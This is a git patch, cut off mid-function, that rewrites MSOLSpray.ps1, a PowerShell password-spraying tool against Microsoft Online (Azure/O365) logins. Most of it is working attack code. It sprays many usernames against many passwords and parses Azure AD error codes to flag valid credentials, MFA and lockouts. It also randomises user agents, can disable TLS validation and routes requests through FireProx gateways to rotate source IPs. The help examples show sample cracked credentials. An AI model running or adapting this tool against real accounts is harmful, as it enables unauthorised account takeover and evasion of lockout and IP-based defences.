From e6dc28a46d79528480e21f2767a722ff9bd555b8 Mon Sep 17 00:00:00 2001 From: Justin Perdok Date: Sat, 15 Aug 2020 00:39:58 +0000 Subject: [PATCH 01/10] Update MSOLSpray.ps1 Rebuild authentication and return code/ErrorReponse logic. Dynamically parses the error code and message from ErrorResponse. Rebuild lockout menu logic. Added PowerShell Object based output. Added Pipeline support. Added support for single and multiple Usernames, Passwords, UsersLists and PasswordLists. Can all be mixed and matched. Added logic to ensure only files are loaded that exist. Added logic to ensure only unique usernames/passwords are used. Added logic to ensure specified url is valid. Added Delay support to wait between logon requests. Added Support for custom UserAgent. By default uses a helper function to randomly generate one using [Microsoft.PowerShell.Commands.PSUserAgent]. Added IgnoreSSL switch. Added a Timestamp for each individual login request. Added CBH to reflect changes. Added Write-Progress support to replace write-host/write-output Moved lockout_threshold to Param block. --- MSOLSpray.ps1 | 803 +++++++++++++++++++++++++++++++++++++++----------- 1 file changed, 637 insertions(+), 166 deletions(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index 3327392..3f950ba 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -1,205 +1,676 @@ -function Invoke-MSOLSpray{ - -<# +#Requires -Version 5.1 +#region Invoke-MSOLSpray +function Invoke-MSOLSpray { + <# .SYNOPSIS - This module will perform password spraying against Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled. + This function will perform password spraying against Microsoft Online accounts (Azure/O365). + + .DESCRIPTION + This function will perform password spraying against Microsoft Online accounts (Azure/O365). + The function logs the response of https://login.microsoft.com. This is used for example to indicating if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled. + + .NOTES MSOLSpray Function: Invoke-MSOLSpray - Author: Beau Bullock (@dafthack) + Authors: Beau Bullock (@dafthack), Justin Perdok (@JustinPerdok) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None + + .INPUTS + New-Object PSObject -Property @{Usernames = "Steve@domain.com","John@domain.com";Passwords="Summer2020",'Winter2020','Fall2020'} | Format-Table - .DESCRIPTION - - This module will perform password spraying against Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled. + Usernames Passwords + --------- --------- + {Steve@domain.com, John@domain.com} {Summer2020, Winter2020, Fall20 - .PARAMETER UserList - - UserList file filled with usernames one-per-line in the format "user@domain.com" + .OUTPUTS + Time Username Password IsValid ResponseError + ---- -------- -------- ------- ------------- + 2020-08-14 12:25:15 Steve@domain.com Winter2020 True None. - .PARAMETER Password - - A single password that will be used to perform the password spray. + .PARAMETER Usernames + Takes in a single or multiple usernames in the following format "user@domain.com". + Can be combined with UsernameList. + + .PARAMETER UsernameList + Takes in a single or multiple UsernameList files filled with usernames. Usernames should be entered one-per-line in the following format "user@domain.com". + Can be combined with Usernames. + + .PARAMETER Passwords + Takes in a single or multiple passwords. Can be combined with PasswordList. + + .PARAMETER PasswordList + Takes in a single or multiple PasswordList files with passwords. Entered one-per-line. Can be combined with Passwords. + + .PARAMETER URL + The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from. + + .PARAMETER Delay + The delay used to wait between authentication attempts. + + .PARAMETER UserAgent + The UserAgent PowerShell will use during the logon the password spray. + + .PARAMETER IgnoreSSL + This will disable any SSL/TLS checks preformed by Invoke-WebRequest during the password spray. .PARAMETER OutFile - A file to output valid results to. - - .PARAMETER Force + + .PARAMETER lockout_threshold + The threshold used to stop the spray when this many locked accounts are detected. + + .PARAMETER ValidPasswordCodes + The ErrorCodes that indicate a password was valid but can not be used for reason X. + + Here is a referense list of all the Azure AD Authentication an Authorization Error Codes: + https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes + + Here is a online check that takes the error codes and returns what it means: + https://login.microsoftonline.com/error + + .PARAMETER LockoutCodes + The ErrorCodes that indicates if a account is locked. + Here is a referense list of all the Azure AD Authentication an Authorization Error Codes: + https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes + + Here is a online check that takes the error codes and returns what it means: + https://login.microsoftonline.com/error + + .PARAMETER DisableUniqueValues + By default the usernames and passwords are checked for duplicates. Use this switch to disable this check. + + .PARAMETER Force Forces the spray to continue and not stop when multiple account lockouts are detected. - - .PARAMETER URL + + .EXAMPLE + # The following command will use the provided username and password to authenticte. - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from. - + PS C:\> Invoke-MSOLSpray -Usernames Steve@domain.com -Passwords Winter2020 + + Time : 2020-08-14 12:23:44 + Username : Steve@domain.com + Password : Winter2020 + IsValid : True + ResponseError : None. .EXAMPLE + # The following command uses the specified FireProx URL to spray from randomized IP addresses. See this for FireProx setup: https://github.com/ustayready/fireprox. + + PS C:\> Invoke-MSOLSpray -Usernames Steve@domain.com -Passwords Winter2020 -URL https://api-gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox - C:\PS> Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 - Description - ----------- - This command will use the provided userlist and attempt to authenticate to each account with a password of Winter2020. + Time : 2020-08-14 12:23:44 + Username : Steve@domain.com + Password : Winter2020 + IsValid : True + ResponseError : None. + .EXAMPLE + PS C:\> Invoke-MSOLSpray -Usernames Steve@domain.com -Passwords Winter2020,Summer2020 -OutFile C:\outfile.txt + Valid results have been written to C:\outfile.txt + + PS C:\> gc C:\outfile.txt + Steve@domain.com : Winter2020 : None. + .EXAMPLE + # The following command will use the provided UsernameList and attempt to authenticate to each account with a password of Winter2020. - C:\PS> Invoke-MSOLSpray -UserList .\userlist.txt -Password P@ssword -URL https://api-gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox -OutFile valid-users.txt - Description - ----------- - This command uses the specified FireProx URL to spray from randomized IP addresses and writes the output to a file. See this for FireProx setup: https://github.com/ustayready/fireprox. -#> - Param( - - - [Parameter(Position = 0, Mandatory = $False)] - [string] - $OutFile = "", - - [Parameter(Position = 1, Mandatory = $False)] - [string] - $UserList = "", - - [Parameter(Position = 2, Mandatory = $False)] - [string] - $Password = "", - - # Change the URL if you are using something like FireProx - [Parameter(Position = 3, Mandatory = $False)] - [string] - $URL = "https://login.microsoft.com", - - [Parameter(Position = 4, Mandatory = $False)] - [switch] - $Force - ) - - $ErrorActionPreference= 'silentlycontinue' - $Usernames = Get-Content $UserList - $count = $Usernames.count - $curr_user = 0 - $lockout_count = 0 - $lockoutquestion = 0 - $fullresults = @() - - Write-Host -ForegroundColor "yellow" ("[*] There are " + $count + " total users to spray.") - Write-Host -ForegroundColor "yellow" "[*] Now spraying Microsoft Online." - $currenttime = Get-Date - Write-Host -ForegroundColor "yellow" "[*] Current date and time: $currenttime" - - ForEach ($username in $usernames){ + PS C:\> Invoke-MSOLSpray -UsernameList C:\UsernameList.txt -Password Winter2020 | Format-Table + + Time Username Password IsValid ResponseError + ---- -------- -------- ------- ------------- + 2020-08-14 12:25:15 Steve@domain.com Winter2020 True None. + 2020-08-14 12:25:15 John@domain.com Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:25:15 Dave@domain.com Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password. + .EXAMPLE + # The following command will use the provided usernames and both UsernameList and attempt to authenticate to each account with the passwords Summer2020 and Zomer2020. - # User counter - $curr_user += 1 - Write-Host -nonewline "$curr_user of $count users tested`r" - - # Setting up the web request - $BodyParams = @{'resource' = 'https://graph.windows.net'; 'client_id' = '1b730954-1685-4b74-9bfd-dac224a7b894' ; 'client_info' = '1' ; 'grant_type' = 'password' ; 'username' = $username ; 'password' = $password ; 'scope' = 'openid'} - $PostHeaders = @{'Accept' = 'application/json'; 'Content-Type' = 'application/x-www-form-urlencoded'} - $webrequest = Invoke-WebRequest $URL/common/oauth2/token -Method Post -Headers $PostHeaders -Body $BodyParams -ErrorVariable RespErr - - # If we get a 200 response code it's a valid cred - If ($webrequest.StatusCode -eq "200"){ - Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password" - $webrequest = "" - $fullresults += "$username : $password" - } - else{ - # Check the response for indication of MFA, tenant, valid user, etc... - # Here is a referense list of all the Azure AD Authentication an Authorization Error Codes: - # https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes - - # Standard invalid password - If($RespErr -match "AADSTS50126") - { - continue - } + PS C:\> Invoke-MSOLSpray -Usernames Steve@domain.com,Klaas@domain.nl -UsernameList C:\domain_com_UsernameList.txt,C:\domein_nl_UsernameList.txt -Password Summer2020,Zomer2020 | Format-Table - # Invalid Tenant Response - ElseIf (($RespErr -match "AADSTS50128") -or ($RespErr -match "AADSTS50059")) - { - Write-Output "[*] WARNING! Tenant for account $username doesn't exist. Check the domain to make sure they are using Azure/O365 services." - } + Time Username Password IsValid ResponseError + ---- -------- -------- ------- ------------- + 2020-08-14 12:25:15 Steve@domain.com Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:25:15 John@domain.com Summer2020 True None. + 2020-08-14 12:25:15 Dave@domain.com Summer2020 True AADSTS50079: Due to a configuration change made by your administrator, or because you moved to a new location, you must enroll in multi-factor authentication to access '{identifier}'. + 2020-08-14 12:25:15 klaas@domain.nl Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:25:15 jan@domain.nl Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:25:15 Steve@domain.com Zomer2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:25:15 John@domain.com Zomer2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:25:15 Dave@domain.com Zomer2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:25:15 klaas@domain.nl Zomer2020 True None. + 2020-08-14 12:25:15 jan@domain.nl Zomer2020 True AADSTS53000: Device is not in required device state: compliant. Conditional Access policy requires a compliant device, and the device is not compliant. The user must enroll their device with an approved MDM provider like Intune. - # Invalid Username - ElseIf($RespErr -match "AADSTS50034") - { - Write-Output "[*] WARNING! The user $username doesn't exist." - } + .EXAMPLE + # The following command will use the provided usernames and attempt to authenticate to each account with the passwords from both PasswordLists + + PS C:\> Invoke-MSOLSpray -Usernames Steve@domain.com,John@domain.com -PasswordList C:\seasons_year.txt,C:\company_name_special_characters.txt + + Time Username Password IsValid ResponseError + ---- -------- -------- ------- ------------- + 2020-08-14 12:25:15 Steve@domain.com Spring2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:25:15 John@domain.com Spring020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:25:15 Steve@domain.com Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:25:15 John@domain.com Summer2020 True None. + 2020-08-14 12:25:15 Steve@domain.com Fall2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:25:15 John@domain.com Fall2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:25:15 Steve@domain.com Winter2020 True None. + 2020-08-14 12:25:15 John@domain.com Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:25:15 Steve@domain.com Spring2019 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:25:15 John@domain.com Spring2019 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:25:15 Steve@domain.com Summer2019 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:25:15 John@domain.com Summer2019 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:25:15 Steve@domain.com Fall2019 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:25:15 John@domain.com Fall2019 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:25:15 Steve@domain.com Winter2019 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:25:15 John@domain.com Winter2019 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:25:15 Steve@domain.com Domain! False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:25:15 John@domain.com Domain! False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:25:15 Steve@domain.com Domain@ False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:25:15 John@domain.com Domain@ False AADSTS50126: Error validating credentials due to invalid username or password. + + .EXAMPLE + # The following command will use input provided from the pipeline to authenticte. + + PS C:\> $Object = New-Object PSObject -Property @{Usernames = "Steve@domain.com","John@domain.com";Passwords="Summer2020",'Winter2020','Fall2020'} + PS C:\> $Object + + Usernames Passwords + --------- --------- + {Steve@domain.com, John@domain.com} {Summer2020, Winter2020, Fall2020} + + PS C:\> $Object | Invoke-MSOLSpray | Format-Table -AutoSize - # Microsoft MFA response - ElseIf(($RespErr -match "AADSTS50079") -or ($RespErr -match "AADSTS50076")) - { - Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates MFA (Microsoft) is in use." - $fullresults += "$username : $password" + Time Username Password IsValid ResponseError + ---- -------- -------- ------- ------------- + 2020-08-14 12:22:06 Steve@domain.com Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:22:06 Steve@domain.com Winter2020 True None. + 2020-08-14 12:22:06 Steve@domain.com Fall2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:22:06 John@domain.com Summer2020 True None. + 2020-08-14 12:22:06 John@domain.com Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-14 12:22:06 John@domain.com Fall2020 False AADSTS50126: Error validating credentials due to invalid username or password. + #> + [cmdletbinding()] + Param( + [Parameter(ValueFromPipelineByPropertyName)] + [Array]$Usernames, + [Array]$UsernameList, + [Parameter(ValueFromPipelineByPropertyName)] + [Array]$Passwords, + [Array]$PasswordList, + [Parameter()] + [Uri]$URL = "https://login.microsoft.com", + [Parameter()] + [Int]$Delay = 0, + [Parameter()] + [String]$UserAgent = $(Get-InvokeMSOLUserAgent), + [Parameter()] + [Switch]$IgnoreSSL, + [Parameter()] + [String]$OutFile, + [Parameter()] + [Int]$lockout_threshold = 10, + [Parameter()] + [Array]$ValidPasswordCodes = @("50126", "50079", "50158", "53000"), + [Parameter()] + [Array]$LockoutCodes = @("50053"), + [Parameter()] + [Switch]$DisableUniqueValues = $false, + [Parameter()] + [Switch]$Force + ) + Begin { + Try { + $OutputObject = @() + $lockout_count = 0 + If ($IgnoreSSL) { + Write-Verbose "Disabling certificate valiation" + [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } + } + $AuthURL = "$URL/common/oauth2/token" + If ($([System.Uri]$AuthURL).Scheme -NotMatch 'http|https') { + Write-Error "$AuthURL is not a valid url. Please use the following format `'http://host/`' or `'https://host/`'" -ErrorAction Stop + } + } + Catch { + $PSCmdlet.ThrowTerminatingError($PSItem) + } + } + Process { + $ProgressBarStartTime = Get-Date + ForEach ($List in $UsernameList) { + If (Test-Path $List) { + $Content = Get-Content $List + $ProgressBar = Write-MyProgressBar -StartTime $ProgressBarStartTime -ObjectToCalculate $UsernameList -Count $ProgressBar -Activity "Setting up" -NestedDepth 1 -TaskPrefixText "Userslists" -Task "Adding $($content.count) entries from $list to the list of $($usernames.count) usernames." -AddPauses + $Usernames += $Content + } + Else { + Write-Error "Unable to open UsernameList at path: $($List)" -ErrorAction Continue + } + } + $ProgressBarStartTime = Get-Date + ForEach ($List in $PasswordList) { + If (Test-Path $List) { + $Content = Get-Content $List + $ProgressBar = Write-MyProgressBar -StartTime $ProgressBarStartTime -ObjectToCalculate $PasswordList -Count $ProgressBar -Activity "Setting up" -NestedDepth 1 -TaskPrefixText "Userslists" -Task "Adding $($content.count) entries from $list to the list of $($Passwords.count) passwords." -AddPauses + $Passwords += $Content + } + Else { + Write-Error "Unable to open Passlist at path: $($List)" -ErrorAction Continue + } + } + If ($false -eq $DisableUniqueValues) { + Write-Verbose "Ensure only unique vales are used." + $Usernames = $Usernames | Sort-Object -Unique + $Passwords = $Passwords | Sort-Object -Unique + } + $UserProgressBarStartTime = Get-Date; $UserProgressBar = 0 + :Userloop ForEach ($Username in $Usernames) { + $UserProgressBar = Write-MyProgressBar -StartTime $UserProgressBarStartTime -ObjectToCalculate $Usernames -Count $UserProgressBar -Activity "Testing users" -NestedDepth 1 -TaskPrefixText "User" -Task "Spraying password against user $($username)" -AddPauses + $PasswordProgressBarStartTime = Get-Date; $PasswordProgressBar = 0 + ForEach ($Password in $Passwords) { + $PasswordProgressBar = Write-MyProgressBar -StartTime $PasswordProgressBarStartTime -ObjectToCalculate $Passwords -Count $PasswordProgressBar -Activity "Testing Passwords" -NestedDepth 2 -id 2 -parentid 1 -TaskPrefixText "User" -Task "Spraying password $($Password)" -AddPauses + If ($Delay -gt 0) { + Start-Sleep -Seconds $Delay } - - # Conditional Access response (Based off of limited testing this seems to be the repsonse to DUO MFA) - ElseIf($RespErr -match "AADSTS50158") - { - Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates conditional access (MFA: DUO or other) is in use." - $fullresults += "$username : $password" + $LogonRequest = $null + $ErrorObject = $null + $BodyParams = @{'resource' = 'https://graph.windows.net'; + 'client_id' = '1b730954-1685-4b74-9bfd-dac224a7b894'; + 'client_info' = '1'; + 'grant_type' = 'password'; + 'username' = $Username; + 'password' = $Password; + 'scope' = 'openid' } - - # Locked out account or Smart Lockout in place - ElseIf($RespErr -match "AADSTS50053") - { - Write-Output "[*] WARNING! The account $username appears to be locked." - $lockout_count++ + $PostHeaders = @{'Accept' = 'application/json'; + 'Content-Type' = 'application/x-www-form-urlencoded' } - - # Disabled account - ElseIf($RespErr -match "AADSTS50057") - { - Write-Output "[*] WARNING! The account $username appears to be disabled." + Try { + $TimeOfRequest = Get-Date -Format "yyyy-MM-dd hh:mm:ss" + $LogonRequest = Invoke-WebRequest -Uri $AuthURL -Method Post -Headers $PostHeaders -Body $BodyParams -ErrorVariable ResponseError + Write-host "$($LogonRequest.StatusCode)" + If ($LogonRequest.StatusCode -eq "200") { + Write-Verbose "Found valid user credential. $($Username):$($Password)" + $OutputObject += Add-InvokeMSOLOutputToObject -Time $TimeOfRequest -Username $Username -Password $Password -IsValid $true -ResponseError "None." + } + Else { + $OutputObject += Add-InvokeMSOLOutputToObject -Time $TimeOfRequest -Username $Username -Password $Password -IsValid $false -ResponseError "Unexpected StatusCode: $($LogonRequest.StatusCode)" + } } - - # User password is expired - ElseIf($RespErr -match "AADSTS50055") - { - Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The user's password is expired." - $fullresults += "$username : $password" + Catch { + if ($null -ne $ResponseError.Message) { + $ErrorObject = $ResponseError.Message | ConvertFrom-Json + $ErrorMessage = $($($ErrorObject.error_description).Split([Environment]::NewLine)[0]) + $IsPasswordValid = $False + if ($ValidPasswordCodes.Contains($ErrorObject.error_codes)) { + Write-Verbose "Found valid user credential. $($Username):$($Password) but $ErrorMessage" + $IsPasswordValid = $true + } + ElseIf ($LockoutCodes.Contains($ErrorObject.error_codes)) { + $lockout_count++ + } + $OutputObject += Add-InvokeMSOLOutputToObject -Time $TimeOfRequest -Username $Username -Password $Password -IsValid $IsPasswordValid -ResponseError $ErrorMessage + } } - - # Unknown errors - Else - { - Write-Output "[*] Got an error we haven't seen yet for user $username" - $RespErr + If (!$Force -and $lockout_count -eq $lockout_threshold) { + Write-Verbose "If the force flag isn't set and lockout count is 10 we'll ask if the user is sure they want to keep spraying" + If ($(Get-InvokeMSOLYesOrNo -Title "WARNING! Multiple Account Lockouts Detected!" -Question "10 of the accounts you sprayed appear to be locked out. If you are seeing multiple 'account is locked' messages after your first 10 attempts or so this may indicate Azure AD Smart Lockout is enabled. Do you want to continue this spray?")) { + Break :Userloop + } } + } + Write-MyProgressBar -Activity "Password Spraying" -ID 2 -NestedDepth 2 -ParentID 1 -Completed } - - # If the force flag isn't set and lockout count is 10 we'll ask if the user is sure they want to keep spraying - if (!$Force -and $lockout_count -eq 10 -and $lockoutquestion -eq 0) - { - $title = "WARNING! Multiple Account Lockouts Detected!" - $message = "10 of the accounts you sprayed appear to be locked out. Do you want to continue this spray?" + Write-MyProgressBar -Activity "Password Spraying" -NestedDepth 1 -Completed + } + End { + If ($OutFile) { + If ($OutputObject) { + $OutputObject | Where-Object { $_.IsValid -eq $true } | ForEach-Object { + Write-Output "$($_.Username) : $($_.Password) : $($_.ResponseError)" | Add-Content -Encoding Ascii -Path $OutFile + } + Write-Output "Valid results have been written to $OutFile." + } + } + Else { + Return $OutputObject + } + } +} +#endregion +#region helperfunctions +Function Add-InvokeMSOLOutputToObject { + Param ( + $Time, + $Username, + $Password, + $IsValid, + $ResponseError + ) + Return $(New-Object PSCustomObject -Property @{ + Time = $Time; + Username = $Username; + Password = $Password; + IsValid = $IsValid; + ResponseError = $ResponseError; + } | Select-Object Time, Username, Password, IsValid, ResponseError + ) +} +Function Get-InvokeMSOLYesOrNo { + <# + .LINK + https://github.com/justin-p/PowerShell/blob/master/Get-YesOrNo.ps1 + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory)] + [ValidateNotNullOrEmpty()] + [string]$Title, + [Parameter(Mandatory)] + [ValidateNotNullOrEmpty()] + [string]$Question + ) + Return $(Switch ($host.ui.PromptForChoice($Title, $Question, $('&yes', '&no'), 0)) { + 0 { $true } + 1 { $false } + }) +} +Function Get-InvokeMSOLUserAgent { + <# + .LINK + https://github.com/justin-p/PowerShell/blob/master/Get-UserAgent.ps1 + #> + Param ( + [ValidateSet('Firefox', 'Chrome', 'InternetExplorer', 'Opera', 'Safari')] + [string]$BrowserType + ) + if (!$BrowserType) { + $BrowserType = Get-Random -InputObject @('Firefox', 'Chrome', 'InternetExplorer', 'Opera', 'Safari') + } + Return [string]$([Microsoft.PowerShell.Commands.PSUserAgent]::$BrowserType) +} +function Write-MyProgressBar { + <# + .SYNOPSIS + Wrapper around Write-Progress. + + .DESCRIPTION + Wrapper around Write-Progress. Makes your code look a lot cleaner when using Write-Progress. + + .NOTES + Author: Justin Perdok, https://justin-p.me. + Based of: https://github.com/thomas-illiet/Write-MyProgress, Thomas ILLIET, https://thomas-illiet.fr + License: MIT + .LINK + https://github.com/justin-p/PowerShell/blob/master/Write-MyProgressBar.ps1 + + .PARAMETER ObjectToCalculate + PowerShell Object used in the progress bar to calculate from. + + .PARAMETER Activity + Specifies the first line of text in the heading above the status bar. This text describes the activity whose progress is being reported. - $yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", ` - "Continues the password spray." + .PARAMETER Task + The name of the task that is running. - $no = New-Object System.Management.Automation.Host.ChoiceDescription "&No", ` - "Cancels the password spray." + .PARAMETER TaskPrefixText + Any prefix text that should be added to the task. - $options = [System.Management.Automation.Host.ChoiceDescription[]]($yes, $no) + .PARAMETER StartTime + The time used to calculate time elapsed and remaning. This should be set once outside of a ForEach. - $result = $host.ui.PromptForChoice($title, $message, $options, 0) - $lockoutquestion++ - if ($result -ne 0) - { - Write-Host "[*] Cancelling the password spray." - Write-Host "NOTE: If you are seeing multiple 'account is locked' messages after your first 10 attempts or so this may indicate Azure AD Smart Lockout is enabled." - break + .PARAMETER Count + Counter used to indicate the current entry from the ObjectToCalculate. + + .PARAMETER ManualTotalSteps + Value that will be used to calculate against the $count for + + .PARAMETER id + Specifies an ID that distinguishes each progress bar from the others. + Use this parameter when you are creating more than one progress bar in a single command. + If the progress bars do not have different IDs, they are superimposed instead of being displayed in a series. + + .PARAMETER ParentId + Specifies the parent activity of the current activity. Use the value -1 if the current activity has no parent activity + + .PARAMETER NoTimeRemaining + Can be used to skip the calculation of SecondsElapsed and SecondsRemaining + + .PARAMETER StepPercentage + Can be used to enable the Percentage based on the steps shown in the progress bar + + .PARAMETER NoPercentage + Can be used to disable percentage based of the ObjectToCalculate + + .PARAMETER Completed + Indicates whether the progress bar is visible. If this parameter is omitted, Write-MyProgressBar displays progress information. + + .PARAMETER NestedDepth + Can be used to nest progress bars. + + .PARAMETER AddPauses + Adds pauses after writing the progress bar + + .PARAMETER ProgressBarWaitInMiliseconds + How long a pause should take after writing a progress bar + + .PARAMETER NoCountIncrease + Can be used to disable the count of the function. The functions updates the $Count param by one and returns it once its done. + This simplyfies the the usage of the counter. + + .EXAMPLE + $GetProcess = Get-Process + $Count = 0 + $StartTime = Get-Date + ForEach($Process in $GetProcess) { + $Count = Write-MyProgressBar -StartTime $StartTime -ObjectToCalculate $GetProcess -Count $Count -Activity "Showing info about Processess" -NestedDepth 1 -TaskPrefixText "Process" -Task "Process Path $($Process.path)" -AddPauses + } + Write-MyProgressBar -Activity "Showing info about Processess" -NestedDepth 1 -Completed + .EXAMPLE + $GetProcess = $(Get-Process)[0..4] + $ProcessCount = 0 + $StartTime = Get-Date + ForEach($Process in $GetProcess) { + $ProcessCount = Write-MyProgressBar -StartTime $StartTime -ObjectToCalculate $GetProcess -Count $ProcessCount -Activity "Showing info about Processess" -TaskPrefixText "Process" -Task "Process Path $($Process.path)" -AddPauses -NoTimeRemaining -NoPercentage + $ProcModuleCount = 0 + $SubStartTime = Get-Date + ForEach ($ProcModule in $($process.modules)) { + $ProcModuleCount = Write-MyProgressBar -StartTime $SubStartTime -ObjectToCalculate $($process.modules) -Count $ProcModuleCount -ID 2 -NestedDepth 1 -ParentID 1 -Activity "Showing info about Process modules" -TaskPrefixText "Module" -Task "Process module name $($ProcModule.ModuleName)" -AddPauses -NoPercentage + } + Write-MyProgressBar -Activity "Showing info about Processess modules" -ID 2 -NestedDepth 1 -ParentID 1 -Completed + $ProcThreadCount = 0 + $SubStartTime = Get-Date + ForEach ($ProcThread in $($process.threads)) { + $ProcThreadCount = Write-MyProgressBar -StartTime $SubStartTime -ObjectToCalculate $($process.threads) -Count $ProcThreadCount -ID 2 -NestedDepth 1 -ParentID 1 -Activity "Showing info about Process threads" -TaskPrefixText "Thread" -Task "Process thread id $($ProcThread.id)" -AddPauses -ProgressBarWaitInMiliseconds 1000 -NoPercentage } + Write-MyProgressBar -Activity "Showing info about Processess threads" -ID 2 -NestedDepth 1 -ParentID 1 -Completed + } + Write-MyProgressBar -Activity "Showing info about Processess" -NestedDepth 1 -Completed + .EXAMPLE + Function Get-Stuff { + [cmdletbinding()] + Param ( + [switch]$HardwareStuff, + [switch]$MailStuff, + [switch]$PowerShellStuff, + [switch]$PythonStuff, + [switch]$NetworkStuff + ) + Begin { + $StepCounter = 1 + $TotalSteps = 5 + } + Process { + If ($HardwareStuff -eq $true) { + $StepCounter = Write-MyProgressBar -Activity "Getting information" -Task "Getting Hardware Info" -Count $StepCounter -NestedDepth 1 -ManualTotalSteps $TotalSteps -StepPercentage -AddPauses -ProgressBarWaitInMiliseconds 100 -NoTimeRemaining + $SomeFunction = "output"; start-sleep -s 1 + } + If ($MailStuff -eq $true) { + $StepCounter = Write-MyProgressBar -Activity "Getting information" -Task "Getting Mail Info" -Count $StepCounter -NestedDepth 1 -ManualTotalSteps $TotalSteps -StepPercentage -AddPauses -ProgressBarWaitInMiliseconds 100 -NoTimeRemaining + $SomeFunction = "output"; start-sleep -s 1 + } + If ($PowerShellStuff -eq $true) { + $StepCounter = Write-MyProgressBar -Activity "Getting information" -Task "Getting PowerShell Info" -Count $StepCounter -NestedDepth 1 -ManualTotalSteps $TotalSteps -StepPercentage -AddPauses -ProgressBarWaitInMiliseconds 100 -NoTimeRemaining + $SomeFunction = "output"; start-sleep -s 1 + } + If ($PythonStuff -eq $true) { + $StepCounter = Write-MyProgressBar -Activity "Getting information" -Task "Getting Python Info" -Count $StepCounter -NestedDepth 1 -ManualTotalSteps $TotalSteps -StepPercentage -AddPauses -ProgressBarWaitInMiliseconds 100 -NoTimeRemaining + $SomeFunction = "output"; start-sleep -s 1 + } + If ($NetworkStuff -eq $true) { + $StepCounter = Write-MyProgressBar -Activity "Getting information" -Task "Getting Network Info" -Count $StepCounter -NestedDepth 1 -ManualTotalSteps $TotalSteps -StepPercentage -AddPauses -ProgressBarWaitInMiliseconds 100 -NoTimeRemaining + $SomeFunction = "output"; start-sleep -s 1 + } + } + End { + Write-MyProgressBar -Activity "Getting information" -NestedDepth 1 -Completed -NoTimeRemaining + } + } + Get-Stuff -HardwareStuff -MailStuff -PowerShellStuff -PythonStuff -NetworkStuff + #> + Param( + [parameter(Mandatory = $False)] + [Array]$ObjectToCalculate, + [parameter(Mandatory = $false)] + [String]$Activity, + [parameter(Mandatory = $false)] + [String]$Task, + [parameter(Mandatory = $false)] + [String]$TaskPrefixText = 'Step', + [parameter(Mandatory = $false)] + [DateTime]$StartTime, + [parameter(Mandatory = $false)] + [Int]$Count, + [parameter(Mandatory = $false)] + [Int]$ManualTotalSteps, + [parameter(Mandatory = $false)] + [Int]$Id = 1, + [parameter(Mandatory = $false)] + [Int]$ParentId = -1, + [parameter(Mandatory = $false)] + [Switch]$NoTimeRemaining, + [parameter(Mandatory = $false)] + [switch]$StepPercentage, + [parameter(Mandatory = $false)] + [Switch]$NoPercentage, + [parameter(Mandatory = $false)] + [Switch]$Completed = $false, + [parameter(Mandatory = $false)] + [Int]$NestedDepth = 0, + [parameter(Mandatory = $false)] + [Switch]$AddPauses, + [parameter(Mandatory = $false)] + [Int]$ProgressBarWaitInMiliseconds = 25, + [parameter(Mandatory = $false)] + [Switch]$NoCountIncrease + ) + Begin { + $Argument = @{} + If ($null -ne $NestedDepth) { + $Argument += @{ + ID = ($NestedDepth) + ParentId = 